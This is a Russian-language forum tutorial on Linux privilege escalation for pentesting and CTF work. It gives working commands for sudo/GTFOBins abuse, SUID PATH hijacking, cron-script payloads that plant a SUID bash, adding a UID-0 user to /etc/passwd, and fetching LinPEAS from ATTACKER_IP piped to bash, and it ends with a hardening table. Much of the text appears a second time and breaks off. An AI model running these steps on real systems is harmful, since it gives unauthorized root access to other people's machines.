Сергей Попов
13.04.2026, 11:15
https://forum.antichat.xyz/attachments/4951434/img_8b15d58732.png
Ты получил shell на машине. Курсор мигает от имени
www-data
или какого-нибудь
low-priv-user
. До root - один шаг, но этот шаг может занять пять минут или пять часов - насколько широк арсенал техник и инструментов для этого, я разложил в полном руководстве Linux для пентестера (https://forum.antichat.xyz/threads/592899/). Зависит от того, умеешь ли ты читать систему. Я разберу повышение привилегий Linux (https://forum.antichat.xyz/threads/584562/) так, как делаю это на реальных пентестах и CTF: от первой команды после foothold до полного root-доступа, с конкретными командами, разбором вывода и объяснением, почему каждая мисконфигурация опасна.
Что такое privilege escalation Linux и зачем это пентестеру
Эскалация привилегий Linux - получение более высоких прав в системе, чем те, что есть у текущего пользователя. В терминах MITRE ATT&CK это целая тактика Privilege Escalation с десятками техник: от Exploitation for Privilege Escalation (T1068) до Setuid and Setgid (T1548.001) и Sudo and Sudo Caching (T1548.003).
На практике повышение привилегий - обязательный этап любого пентеста. Получив initial access, атакующий видит систему глазами непривилегированного пользователя. Чтобы стянуть хеши из
/etc/shadow
, закрепиться бэкдором или пойти дальше по сети - нужен root. Без privilege escalation пентест заканчивается на полпути, а отчёт будет жиденьким.
Повышение привилегий бывает двух видов:
Вертикальное - от обычного пользователя к root (или другому привилегированному аккаунту)
Горизонтальное - переход на другого пользователя с тем же уровнем прав, но с доступом к другим данным
Здесь фокус на вертикальном - от low-priv до root-доступа.
Ручная разведка: первые команды после foothold
Прежде чем запускать автоматику, я всегда делаю базовую разведку руками. Две минуты работы, зато потом вывод LinPEAS читается осмысленно, а не как простыня текста. Команды ниже покрывают несколько техник Discovery по MITRE ATT&CK:
whoami
/
id
- System Owner/User Discovery (T1033),
hostname
/
uname -a
/
cat /etc/os-release
- System Information Discovery (T1082).
Кто я и где я
Bash:
whoami
# текущий пользователь
id
# UID, GID и группы - обрати внимание на docker, lxd, disk
hostname
# имя хоста - часто подсказывает роль сервера
uname
-a
# ядро и архитектура - критично для kernel exploits
cat
/etc/os-release
# дистрибутив и версия
Вывод
id
может сразу дать вектор. Если пользователь в группе
docker
,
lxd
или
disk
- считай, полдела сделано. Это почти гарантированный путь к root без единого эксплойта.
Проверка sudo
Bash:
sudo
-l
# какие команды можно выполнять через sudo
sudo
-V
# версия sudo - старые версии бывают дырявыми
sudo -l
- первое, что я набираю на любой машине. Если в выводе
NOPASSWD
и любой бинарь из GTFOBins - можно идти пить кофе, root уже твой.
Поиск SUID-бинарей
Bash:
find
/ -perm -4000 -type f -ls
2>
/dev/null
Эта команда ищет все файлы с установленным SUID-битом. Каждый такой файл выполняется с правами владельца, а не текущего пользователя. Если владелец root, а бинарь позволяет выполнить произвольную команду - это прямой путь к эскалации привилегий (T1548.001, Privilege Escalation / Defense Evasion).
Cron-задачи и таймеры
Bash:
cat
/etc/crontab
# системные cron-задачи
ls
-la /etc/cron.d/
# дополнительные cron-конфиги
ls
-la /etc/cron.daily/ /etc/cron.hourly/
# периодические задачи
systemctl list-timers --all
2>
/dev/null
# systemd-таймеры
Сеть и сервисы
Bash:
ip
a
# сетевые интерфейсы - ищи dual-homed
ss -tlnp
# слушающие порты - внутренние сервисы
cat
/etc/hosts
# записи hosts - могут указать на другие машины
История и пароли
Bash:
history
# команды предыдущих сессий
cat
~/.bash_history
2>
/dev/null
# история bash
find
/ -name
"*.conf"
-o -name
"*.cfg"
-o -name
"*.ini"
2>
/dev/null
|
head
-20
grep
-ri
"password"
/etc/
2>
/dev/null
|
head
-20
File and Directory Discovery (T1083), доступ к /etc/passwd и /etc/shadow (T1003.008, Credential Access) и поиск паролей в конфигурационных файлах (T1552.001, Credential Access) - классика post-exploitation. Удивительно, как часто пароли валяются в конфигах в открытом виде.
LinPEAS: автоматизация разведки для повышения привилегий
LinPEAS (Linux Privilege Escalation Awesome Script) автоматизирует всё, что я описал выше, и добавляет сотни проверок сверху. Я запускаю его на каждой машине после ручной разведки, потому что глаз пропускает вещи: capabilities на бинарях, writable PATH-директории, утечки токенов в переменных окружения. LinPEAS это находит.
Как запустить LinPEAS
Ты уже на целевой машине. Способ доставки зависит от ситуации:
Вариант 1 - через HTTP-сервер атакующего:
Bash:
# На атакующей машине (Kali/Parrot):
python3 -m http.server
8080
# На целевой машине:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
Вариант 2 - загрузка и запуск локально:
Bash:
# На целевой машине:
wget
http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
chmod
+x /tmp/linpeas.sh
/tmp/linpeas.sh
Вариант 3 - без сохранения скрипта на диск (частичная скрытность):
Bash:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
|
tee
/tmp/linpeas_output.txt
Третий вариант удобен тем, что скрипт не сохраняется как файл, но вывод ловишь для анализа. Только не обольщайся - это не полноценный stealth: процесс виден в
/proc
, а
auditd
всё зафиксирует.
Как читать вывод LinPEAS
LinPEAS использует цветовую маркировку. Вот что реально важно:
ЦветЗначениеДействиеКрасн ый/ЖёлтыйС вероятностью 95% это вектор повышения привилегийЭксплуатируй - почти наверняка рабочий векторКрасныйНужно изучить - может потребовать дополнительных условийКопни глубже перед эксплуатациейЗелёныйИнтер есная информация для дальнейшего анализаЗапомни на потомСинийОбычная системная информацияИспользуй для контекста
Лично я сначала пролистываю весь вывод, выцепляя красно-жёлтые строки. Чаще всего они указывают на:
SUID-бинари, которые есть в GTFOBins
Cron-задачи, запускающие скрипты с записью для всех
Sudo-правила с NOPASSWD для опасных команд
Writable файлы в PATH
Capabilities вроде
cap_setuid
на бинарях
Пароли в конфигурационных файлах
LinEnum: альтернатива для повышения привилегий Linux
LinEnum - ещё один скрипт для перечисления системной информации. Он менее детализирован, чем LinPEAS, зато работает быстрее и даёт чистый, легко читаемый вывод. Я беру LinEnum, когда нужна скорость или когда LinPEAS по какой-то причине не запускается (бывает на урезанных контейнерах).
Запуск LinEnum
Bash:
# Доставка аналогична LinPEAS:
wget
http://ATTACKER_IP:8080/LinEnum.sh -O /tmp/LinEnum.sh
chmod
+x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t
# флаг -t включает расширенные проверки
LinEnum собирает информацию о пользователях, файловых правах, процессах, пакетах, сетевых конфигурациях, cron-задачах, журналах, версиях ПО. Вывод структурирован по разделам - удобно для быстрого прогона.
Сравнение инструментов автоматизации
ИнструментНазначениеЦвето вая маркировкаСкоростьГлубина LinPEASПолная разведка привилегийДаСредняяМаксим альнаяLinEnumПеречисление системной информацииНетВысокаяСредн яяpspyМониторинг процессов без rootНетРеальное времяУзкая (процессы)Linux Exploit SuggesterПоиск kernel exploitsНетВысокаяУзкая (ядро)Linux Smart EnumerationПеречисление с уровнями детализацииЧастичноСредня яНастраиваемая
pspy заслуживает отдельного слова. Это штука для мониторинга процессов в реальном времени без root-прав. Незаменима, когда cron-задача выполняется по расписанию, но не видна в
/etc/crontab
(пользовательские crontab'ы других аккаунтов). Запускаешь pspy, ждёшь пару минут - и видишь, какие процессы стартуют от root.
Bash:
# Запуск pspy:
./pspy64
# для 64-bit систем
# или
./pspy32
# для 32-bit
Техники повышения привилегий Linux: пошаговые примеры (https://forum.antichat.xyz/threads/583946/)
Теория - хорошо, но без практики это просто буквы. Для каждой техники - сценарий, команды и объяснение, почему это работает.
Sudo misconfiguration: злоупотребление правами sudo
Техника Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) - самый частый вектор на CTF и один из самых распространённых в реальных средах.
Шаг 1 - проверяем sudo-права:
Bash:
sudo
-l
Пример вывода:
Код:
User www-data may run the following commands on target:
(root) NOPASSWD: /usr/bin/find
Шаг 2 - проверяем GTFOBins:
Идём на GTFOBins и ищем
find
. В разделе "Sudo":
Bash:
sudo
find
.
-exec /bin/bash
\
;
-quit
Шаг 3 - получаем root:
Bash:
sudo
find
.
-exec /bin/bash
\
;
-quit
whoami
# root
Почему это работает? Админ хотел дать пользователю возможность искать файлы, но
find
с флагом
-exec
выполняет любую команду.
NOPASSWD
- даже пароль не спросит. Одна строка в sudoers - и система скомпрометирована.
Другие опасные бинари в sudo:
vim
,
nano
,
less
,
awk
,
perl
,
python
,
ruby
,
env
,
man
. Каждый позволяет получить shell. Видишь любой из них в выводе
sudo -l
- сразу проверяй GTFOBins.
SUID бит Linux: эксплуатация через бинари с setuid
SUID-бит (Set User ID upon execution) - специальное разрешение, при котором файл выполняется с правами владельца. Техника Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion).
Шаг 1 - находим SUID-бинари:
Bash:
find
/ -perm -4000 -type f -ls
2>
/dev/null
Пример вывода (обрезанный):
Код:
131085 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /usr/bin/mount
131090 44 -rwsr-xr-x 1 root root 44784 Jan 27 2020 /usr/bin/newgrp
131143 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
262285 20 -rwsr-xr-x 1 root root 16712 Sep 1 2020 /opt/custom-backup
Стандартные SUID-бинари (
mount
,
passwd
,
ping
) - норма, они тут живут. Нас интересуют нестандартные:
/opt/custom-backup
- вот это уже подозрительно.
Шаг 2 - анализируем нестандартный бинарь:
Bash:
file
/opt/custom-backup
strings /opt/custom-backup
|
head
-30
ltrace /opt/custom-backup
2>
&1
|
head
-20
# если ltrace доступен
Если
strings
показывает вызов внешней команды без полного пути (просто
cp
вместо
/usr/bin/cp
) - это потенциальный вектор для PATH manipulation. Работает, когда SUID-бинарь вызывает команду через
system()
/
popen()
(они используют shell и переменную PATH). Если бинарь использует
execve()
с абсолютным путём - этот фокус не пройдёт. Проверить можно через
ltrace
или
strace
(если доступен).
Шаг 3 - эксплуатация через PATH:
Bash:
# Создаём вредоносный "cp" в /tmp:
echo
'#!/bin/bash'
>
/tmp/cp
echo
'/bin/bash -p'
>>
/tmp/cp
chmod
+x /tmp/cp
# Подменяем PATH:
export
PATH
=
/tmp:
$PATH
# Запускаем SUID-бинарь:
/opt/custom-backup
whoami
# root
Флаг
-p
у bash - критически важен. Без него bash сбросит привилегии. С
-p
он сохраняет effective UID, установленный через SUID. Для тех кто в танке - без этого флага bash решит, что ты «не настоящий root», и откатит права обратно.
Примечание: На современных дистрибутивах (Debian 12+, Ubuntu 22.04+) glibc secure execution mode (
__libc_enable_secure
) может сбрасывать переменные окружения (включая PATH) для SUID-процессов, а
system()
может использовать
/bin/sh
→
dash
, который ведёт себя иначе. Проверяй, какой shell использует
system()
и не сбрасывается ли PATH в конкретной среде.
Cron jobs privilege escalation: эксплуатация планировщика задач
Cron-задачи - любимый вектор пентестеров. Админы создают скрипты бэкапа от root, а права на сами скрипты выставляют как попало. Классика жанра.
Шаг 1 - находим cron-задачи:
Bash:
cat
/etc/crontab
ls
-la /etc/cron.d/
Пример вывода /etc/crontab:
Код:
* * * * * root /opt/scripts/backup.sh
Шаг 2 - проверяем права на скрипт:
Bash:
ls
-la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 45 Jun 10 12:00 /opt/scripts/backup.sh
Права
777
- writable для всех. Скрипт выполняется каждую минуту от root. Тут даже думать не надо.
Шаг 3 - внедряем payload:
Bash:
echo
'#!/bin/bash'
>
/opt/scripts/backup.sh
echo
'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
>>
/opt/scripts/backup.sh
Шаг 4 - ждём минуту и получаем root:
Bash:
# Через минуту:
ls
-la /tmp/rootbash
# -rwsr-sr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
whoami
# root
Если cron-задача не видна в
/etc/crontab
, запускаем pspy и наблюдаем процессы в реальном времени. Пользовательские crontab'ы скрыты от других аккаунтов, но pspy покажет их выполнение - он мониторит
/proc
напрямую.
Kernel exploit: эксплуатация уязвимостей ядра
Техника Exploitation for Privilege Escalation (T1068, Privilege Escalation) - последнее средство, когда остальные векторы не сработали. Kernel exploits нестабильны и могут уронить систему, поэтому в реальном пентесте их используют с осторожностью (и с письменным согласием заказчика).
Классический пример - Dirty COW (CVE-2016-5195). По данным NVD: race condition в
mm/gup.c
в ядрах Linux 2.x–4.x до 4.8.3 позволяет локальным пользователям повысить привилегии через некорректную обработку copy-on-write (COW) при записи в read-only memory mapping. CVSS: 7.0 (HIGH), вектор
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
. CWE: CWE-362 (Race Condition).
Разбор CVSS-вектора (чтобы не казался магическими буквами):
AV:L
- атака локальная, нужен доступ к системе
AC:H
- высокая сложность (race condition - надо поймать момент)
PR:L
- достаточно низких привилегий
UI:N
- действия пользователя не требуются
Порядок действий при поиске kernel-эксплойтов:
Bash:
# 1. Узнаём версию ядра:
uname
-r
# Пример: 3.13.0-24-generic
# 2. Запускаем Linux Exploit Suggester:
./linux-exploit-suggester.sh
# 3. Или ищем вручную:
searchsploit linux kernel
3.13
privilege escalation
Linux Exploit Suggester оценивает вероятность успеха: Highly Probable, Probable, Less Probable. Фокусируйся на первой категории - остальные чаще расстраивают, чем радуют.
Writable /etc/passwd: добавление root-пользователя
Если файл
/etc/passwd
доступен для записи (встречается на CTF-машинах и иногда в реальных средах с кривыми руками), можно тупо добавить нового пользователя с UID 0.
Bash:
# Проверяем права:
ls
-la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd
# Генерируем хеш пароля (SHA-512, OpenSSL 1.1.1+; если -6 недоступен, используй -1 для MD5):
openssl
passwd
-6 -salt xyz password123
# $6$xyz$rD...hash...
# Добавляем пользователя с UID 0:
echo
'hacker:$6$xyz$rD...hash...:0:0:root:/root:/bin/bash'
>>
/etc/passwd
# Переключаемся:
su
hacker
# Вводим password123
whoami
# root
Это прямой пример техники Create Account: Local Account (T1136.001, Persistence) - добавление нового пользователя с UID 0 в файл учётных данных.
Пошаговый чейн: от shell до root
Собираю всё в единый алгоритм - так я работаю на реальной машине:
Делай раз - базовая разведка руками:
Bash:
whoami
&&
id
uname
-a
sudo
-l
cat
/etc/crontab
find
/ -perm -4000 -type f -ls
2>
/dev/null
Если
sudo -l
даёт вектор - эксплуатируй сразу через GTFOBins. Нестандартный SUID-бинарь - анализируй. Writable cron-задача - модифицируй. На этом этапе 60% CTF-машин уже решены.
Делай два - запускай LinPEAS:
Bash:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
|
tee
/tmp/lp.txt
Ищи красно-жёлтые маркеры. Проверяй всё, что LinPEAS отметил как высоковероятный вектор. Обращай внимание на capabilities (
getcap -r / 2>/dev/null
), writable директории в PATH и конфиги с паролями.
Делай три - мониторинг и глубокий анализ:
Bash:
# Если ничего не нашлось - запускай pspy:
./pspy64
# Параллельно ищи пароли:
grep
-ri
"pass\|pwd\|credential"
/var/www/ /opt/ /home/
2>
/dev/null
find
/ -name
"*.bak"
-o -name
"*.old"
-o -name
"*.conf"
2>
/dev/null
|
xargs
grep
-li
"password"
2>
/dev/null
Только если все предыдущие шаги не дали результат - переходи к kernel exploits. Проверяй версию ядра через Linux Exploit Suggester и ищи подходящий эксплойт. Это крайний вариант, а не первый.
Как автоматика конкурирует с ручным анализом
Согласно исследованию Happe и Cito (2023), «LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks» (arxiv.org), GPT-4-Turbo успешно эксплуатировал от 33% до 83% уязвимостей в benchmark privilege escalation - сравнимо с результатами профессиональных пентестеров (75%). При этом даже продвинутые модели спотыкались на multi-step эксплуатации: например, не могли связать найденный SUID-бинарь с необходимостью проверить его в GTFOBins.
Что это значит на практике? LinPEAS и LinEnum не заменяют думающего пентестера. Скрипт покажет данные, но связать находки в рабочий чейн - твоя работа. LinPEAS может пометить
/usr/bin/python3
с capability
cap_setuid
красным цветом, но конвертировать эту находку в root shell должен ты:
Bash:
# Пример: Python с cap_setuid
/usr/bin/python3 -c
'import os; os.setuid(0); os.system("/bin/bash")'
Защита и Linux hardening: что закрывать
Понимание атак даёт понимание защиты. Конкретные рекомендации:
Вектор атакиМера защитыSudo misconfigurationНикогда не давать sudo на shell-интерпретаторы, редакторы, find, awk. Строго определённые команды с полным путёмSUID на нестандартных бинаряхРегулярно аудитировать:
find / -perm -4000 -type f -ls
. Снимать SUID-бит с ненужных файлов:
chmod u-s /path/to/binary
Writable cron-скриптыВладелец root, права 700 или 755. Никогда не 777Устаревшее ядроОбновлять ядро. Использовать
livepatch
для критичных систем, где перезагрузка невозможнаПароли в конфигахVault-системы (HashiCorp Vault, ansible-vault). Права на конфиги: 600, владелец - сервисный аккаунтWritable /etc/passwdПрава:
/etc/passwd
- 644,
/etc/shadow
- 640. Мониторить изменения через auditd
Итоги
Повышение привилегий Linux - не магия и не набор готовых рецептов. Это системный процесс: разведка, анализ, эксплуатация. LinPEAS и LinEnum автоматизируют разведку, GTFOBins дают справочник по эксплуатации, pspy помогает увидеть скрытые процессы. А связать всё это в рабочий чейн - задача пентестера, не скрипта.
Начни с лабораторий. На TryHackMe есть комнаты «Linux PrivEsc» и «Linux PrivEsc Arena», на HackerLab (https://hackerlab.pro/) - десятки машин с различными векторами. Запускай LinPEAS на каждой, учись читать вывод, проверяй находки вручную. Через двадцать машин ты будешь видеть вектор быстрее, чем скрипт закончит работу. Проверено.
Ты получил shell на машине. Курсор мигает от имени
www-data
или какого-нибудь
low-priv-user
. До root - один шаг, но этот шаг может занять пять минут или пять часов - насколько широк арсенал техник и инструментов для этого, я разложил в полном руководстве Linux для пентестера (https://forum.antichat.xyz/threads/592899/). Зависит от того, умеешь ли ты читать систему. Я разберу повышение привилегий Linux (https://forum.antichat.xyz/threads/584562/) так, как делаю это на реальных пентестах и CTF: от первой команды после foothold до полного root-доступа, с конкретными командами, разбором вывода и объяснением, почему каждая мисконфигурация опасна.
Что такое privilege escalation Linux и зачем это пентестеру
Эскалация привилегий Linux - получение более высоких прав в системе, чем те, что есть у текущего пользователя. В терминах MITRE ATT&CK это целая тактика Privilege Escalation с десятками техник: от Exploitation for Privilege Escalation (T1068) до Setuid and Setgid (T1548.001) и Sudo and Sudo Caching (T1548.003).
На практике повышение привилегий - обязательный этап любого пентеста. Получив initial access, атакующий видит систему глазами непривилегированного пользователя. Чтобы стянуть хеши из
/etc/shadow
, закрепиться бэкдором или пойти дальше по сети - нужен root. Без privilege escalation пентест заканчивается на полпути, а отчёт будет жиденьким.
Повышение привилегий бывает двух видов:
Вертикальное - от обычного пользователя к root (или другому привилегированному аккаунту)
Горизонтальное - переход на другого пользователя с тем же уровнем прав, но с доступом к другим данным
Здесь фокус на вертикальном - от low-priv до root-доступа.
Ручная разведка: первые команды после foothold
Прежде чем запускать автоматику, я всегда делаю базовую разведку руками. Две минуты работы, зато потом вывод LinPEAS читается осмысленно, а не как простыня текста. Команды ниже покрывают несколько техник Discovery по MITRE ATT&CK:
whoami
/
id
- System Owner/User Discovery (T1033),
hostname
/
uname -a
/
cat /etc/os-release
- System Information Discovery (T1082).
Кто я и где я
Bash:
whoami
# текущий пользователь
id
# UID, GID и группы - обрати внимание на docker, lxd, disk
hostname
# имя хоста - часто подсказывает роль сервера
uname
-a
# ядро и архитектура - критично для kernel exploits
cat
/etc/os-release
# дистрибутив и версия
Вывод
id
может сразу дать вектор. Если пользователь в группе
docker
,
lxd
или
disk
- считай, полдела сделано. Это почти гарантированный путь к root без единого эксплойта.
Проверка sudo
Bash:
sudo
-l
# какие команды можно выполнять через sudo
sudo
-V
# версия sudo - старые версии бывают дырявыми
sudo -l
- первое, что я набираю на любой машине. Если в выводе
NOPASSWD
и любой бинарь из GTFOBins - можно идти пить кофе, root уже твой.
Поиск SUID-бинарей
Bash:
find
/ -perm -4000 -type f -ls
2>
/dev/null
Эта команда ищет все файлы с установленным SUID-битом. Каждый такой файл выполняется с правами владельца, а не текущего пользователя. Если владелец root, а бинарь позволяет выполнить произвольную команду - это прямой путь к эскалации привилегий (T1548.001, Privilege Escalation / Defense Evasion).
Cron-задачи и таймеры
Bash:
cat
/etc/crontab
# системные cron-задачи
ls
-la /etc/cron.d/
# дополнительные cron-конфиги
ls
-la /etc/cron.daily/ /etc/cron.hourly/
# периодические задачи
systemctl list-timers --all
2>
/dev/null
# systemd-таймеры
Сеть и сервисы
Bash:
ip
a
# сетевые интерфейсы - ищи dual-homed
ss -tlnp
# слушающие порты - внутренние сервисы
cat
/etc/hosts
# записи hosts - могут указать на другие машины
История и пароли
Bash:
history
# команды предыдущих сессий
cat
~/.bash_history
2>
/dev/null
# история bash
find
/ -name
"*.conf"
-o -name
"*.cfg"
-o -name
"*.ini"
2>
/dev/null
|
head
-20
grep
-ri
"password"
/etc/
2>
/dev/null
|
head
-20
File and Directory Discovery (T1083), доступ к /etc/passwd и /etc/shadow (T1003.008, Credential Access) и поиск паролей в конфигурационных файлах (T1552.001, Credential Access) - классика post-exploitation. Удивительно, как часто пароли валяются в конфигах в открытом виде.
LinPEAS: автоматизация разведки для повышения привилегий
LinPEAS (Linux Privilege Escalation Awesome Script) автоматизирует всё, что я описал выше, и добавляет сотни проверок сверху. Я запускаю его на каждой машине после ручной разведки, потому что глаз пропускает вещи: capabilities на бинарях, writable PATH-директории, утечки токенов в переменных окружения. LinPEAS это находит.
Как запустить LinPEAS
Ты уже на целевой машине. Способ доставки зависит от ситуации:
Вариант 1 - через HTTP-сервер атакующего:
Bash:
# На атакующей машине (Kali/Parrot):
python3 -m http.server
8080
# На целевой машине:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
Вариант 2 - загрузка и запуск локально:
Bash:
# На целевой машине:
wget
http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
chmod
+x /tmp/linpeas.sh
/tmp/linpeas.sh
Вариант 3 - без сохранения скрипта на диск (частичная скрытность):
Bash:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
|
tee
/tmp/linpeas_output.txt
Третий вариант удобен тем, что скрипт не сохраняется как файл, но вывод ловишь для анализа. Только не обольщайся - это не полноценный stealth: процесс виден в
/proc
, а
auditd
всё зафиксирует.
Как читать вывод LinPEAS
LinPEAS использует цветовую маркировку. Вот что реально важно:
ЦветЗначениеДействиеКрасн ый/ЖёлтыйС вероятностью 95% это вектор повышения привилегийЭксплуатируй - почти наверняка рабочий векторКрасныйНужно изучить - может потребовать дополнительных условийКопни глубже перед эксплуатациейЗелёныйИнтер есная информация для дальнейшего анализаЗапомни на потомСинийОбычная системная информацияИспользуй для контекста
Лично я сначала пролистываю весь вывод, выцепляя красно-жёлтые строки. Чаще всего они указывают на:
SUID-бинари, которые есть в GTFOBins
Cron-задачи, запускающие скрипты с записью для всех
Sudo-правила с NOPASSWD для опасных команд
Writable файлы в PATH
Capabilities вроде
cap_setuid
на бинарях
Пароли в конфигурационных файлах
LinEnum: альтернатива для повышения привилегий Linux
LinEnum - ещё один скрипт для перечисления системной информации. Он менее детализирован, чем LinPEAS, зато работает быстрее и даёт чистый, легко читаемый вывод. Я беру LinEnum, когда нужна скорость или когда LinPEAS по какой-то причине не запускается (бывает на урезанных контейнерах).
Запуск LinEnum
Bash:
# Доставка аналогична LinPEAS:
wget
http://ATTACKER_IP:8080/LinEnum.sh -O /tmp/LinEnum.sh
chmod
+x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t
# флаг -t включает расширенные проверки
LinEnum собирает информацию о пользователях, файловых правах, процессах, пакетах, сетевых конфигурациях, cron-задачах, журналах, версиях ПО. Вывод структурирован по разделам - удобно для быстрого прогона.
Сравнение инструментов автоматизации
ИнструментНазначениеЦвето вая маркировкаСкоростьГлубина LinPEASПолная разведка привилегийДаСредняяМаксим альнаяLinEnumПеречисление системной информацииНетВысокаяСредн яяpspyМониторинг процессов без rootНетРеальное времяУзкая (процессы)Linux Exploit SuggesterПоиск kernel exploitsНетВысокаяУзкая (ядро)Linux Smart EnumerationПеречисление с уровнями детализацииЧастичноСредня яНастраиваемая
pspy заслуживает отдельного слова. Это штука для мониторинга процессов в реальном времени без root-прав. Незаменима, когда cron-задача выполняется по расписанию, но не видна в
/etc/crontab
(пользовательские crontab'ы других аккаунтов). Запускаешь pspy, ждёшь пару минут - и видишь, какие процессы стартуют от root.
Bash:
# Запуск pspy:
./pspy64
# для 64-bit систем
# или
./pspy32
# для 32-bit
Техники повышения привилегий Linux: пошаговые примеры (https://forum.antichat.xyz/threads/583946/)
Теория - хорошо, но без практики это просто буквы. Для каждой техники - сценарий, команды и объяснение, почему это работает.
Sudo misconfiguration: злоупотребление правами sudo
Техника Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) - самый частый вектор на CTF и один из самых распространённых в реальных средах.
Шаг 1 - проверяем sudo-права:
Bash:
sudo
-l
Пример вывода:
Код:
User www-data may run the following commands on target:
(root) NOPASSWD: /usr/bin/find
Шаг 2 - проверяем GTFOBins:
Идём на GTFOBins и ищем
find
. В разделе "Sudo":
Bash:
sudo
find
.
-exec /bin/bash
\
;
-quit
Шаг 3 - получаем root:
Bash:
sudo
find
.
-exec /bin/bash
\
;
-quit
whoami
# root
Почему это работает? Админ хотел дать пользователю возможность искать файлы, но
find
с флагом
-exec
выполняет любую команду.
NOPASSWD
- даже пароль не спросит. Одна строка в sudoers - и система скомпрометирована.
Другие опасные бинари в sudo:
vim
,
nano
,
less
,
awk
,
perl
,
python
,
ruby
,
env
,
man
. Каждый позволяет получить shell. Видишь любой из них в выводе
sudo -l
- сразу проверяй GTFOBins.
SUID бит Linux: эксплуатация через бинари с setuid
SUID-бит (Set User ID upon execution) - специальное разрешение, при котором файл выполняется с правами владельца. Техника Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion).
Шаг 1 - находим SUID-бинари:
Bash:
find
/ -perm -4000 -type f -ls
2>
/dev/null
Пример вывода (обрезанный):
Код:
131085 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /usr/bin/mount
131090 44 -rwsr-xr-x 1 root root 44784 Jan 27 2020 /usr/bin/newgrp
131143 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
262285 20 -rwsr-xr-x 1 root root 16712 Sep 1 2020 /opt/custom-backup
Стандартные SUID-бинари (
mount
,
passwd
,
ping
) - норма, они тут живут. Нас интересуют нестандартные:
/opt/custom-backup
- вот это уже подозрительно.
Шаг 2 - анализируем нестандартный бинарь:
Bash:
file
/opt/custom-backup
strings /opt/custom-backup
|
head
-30
ltrace /opt/custom-backup
2>
&1
|
head
-20
# если ltrace доступен
Если
strings
показывает вызов внешней команды без полного пути (просто
cp
вместо
/usr/bin/cp
) - это потенциальный вектор для PATH manipulation. Работает, когда SUID-бинарь вызывает команду через
system()
/
popen()
(они используют shell и переменную PATH). Если бинарь использует
execve()
с абсолютным путём - этот фокус не пройдёт. Проверить можно через
ltrace
или
strace
(если доступен).
Шаг 3 - эксплуатация через PATH:
Bash:
# Создаём вредоносный "cp" в /tmp:
echo
'#!/bin/bash'
>
/tmp/cp
echo
'/bin/bash -p'
>>
/tmp/cp
chmod
+x /tmp/cp
# Подменяем PATH:
export
PATH
=
/tmp:
$PATH
# Запускаем SUID-бинарь:
/opt/custom-backup
whoami
# root
Флаг
-p
у bash - критически важен. Без него bash сбросит привилегии. С
-p
он сохраняет effective UID, установленный через SUID. Для тех кто в танке - без этого флага bash решит, что ты «не настоящий root», и откатит права обратно.
Примечание: На современных дистрибутивах (Debian 12+, Ubuntu 22.04+) glibc secure execution mode (
__libc_enable_secure
) может сбрасывать переменные окружения (включая PATH) для SUID-процессов, а
system()
может использовать
/bin/sh
→
dash
, который ведёт себя иначе. Проверяй, какой shell использует
system()
и не сбрасывается ли PATH в конкретной среде.
Cron jobs privilege escalation: эксплуатация планировщика задач
Cron-задачи - любимый вектор пентестеров. Админы создают скрипты бэкапа от root, а права на сами скрипты выставляют как попало. Классика жанра.
Шаг 1 - находим cron-задачи:
Bash:
cat
/etc/crontab
ls
-la /etc/cron.d/
Пример вывода /etc/crontab:
Код:
* * * * * root /opt/scripts/backup.sh
Шаг 2 - проверяем права на скрипт:
Bash:
ls
-la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 45 Jun 10 12:00 /opt/scripts/backup.sh
Права
777
- writable для всех. Скрипт выполняется каждую минуту от root. Тут даже думать не надо.
Шаг 3 - внедряем payload:
Bash:
echo
'#!/bin/bash'
>
/opt/scripts/backup.sh
echo
'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
>>
/opt/scripts/backup.sh
Шаг 4 - ждём минуту и получаем root:
Bash:
# Через минуту:
ls
-la /tmp/rootbash
# -rwsr-sr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
whoami
# root
Если cron-задача не видна в
/etc/crontab
, запускаем pspy и наблюдаем процессы в реальном времени. Пользовательские crontab'ы скрыты от других аккаунтов, но pspy покажет их выполнение - он мониторит
/proc
напрямую.
Kernel exploit: эксплуатация уязвимостей ядра
Техника Exploitation for Privilege Escalation (T1068, Privilege Escalation) - последнее средство, когда остальные векторы не сработали. Kernel exploits нестабильны и могут уронить систему, поэтому в реальном пентесте их используют с осторожностью (и с письменным согласием заказчика).
Классический пример - Dirty COW (CVE-2016-5195). По данным NVD: race condition в
mm/gup.c
в ядрах Linux 2.x–4.x до 4.8.3 позволяет локальным пользователям повысить привилегии через некорректную обработку copy-on-write (COW) при записи в read-only memory mapping. CVSS: 7.0 (HIGH), вектор
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
. CWE: CWE-362 (Race Condition).
Разбор CVSS-вектора (чтобы не казался магическими буквами):
AV:L
- атака локальная, нужен доступ к системе
AC:H
- высокая сложность (race condition - надо поймать момент)
PR:L
- достаточно низких привилегий
UI:N
- действия пользователя не требуются
Порядок действий при поиске kernel-эксплойтов:
Bash:
# 1. Узнаём версию ядра:
uname
-r
# Пример: 3.13.0-24-generic
# 2. Запускаем Linux Exploit Suggester:
./linux-exploit-suggester.sh
